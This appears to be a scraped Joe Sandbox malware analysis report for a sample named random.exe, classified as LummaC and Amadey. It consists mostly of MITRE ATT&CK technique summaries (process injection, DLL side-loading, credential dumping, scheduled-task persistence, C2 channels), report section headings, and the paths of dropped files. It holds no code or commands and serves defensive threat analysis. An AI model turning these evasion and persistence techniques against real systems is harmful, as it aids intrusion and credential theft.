Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Valid Accounts to log into a computer using the Remote Desktop Protocol (RDP). The adversary may then perform actions as the logged-on user.
Tactics:	Lateral Movement
Data Sources:	Logon Session: Logon Session Creation, Logon Session: Logon Session Metadata, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Flow, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report random.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: LummaC

Threatname: Amadey

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Temp\LOVY9V33XUNTEHY6.exe

C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe

C:\Windows\Tasks\rapes.job

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Network Behavior

Windows Analysis Report
random.exe

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre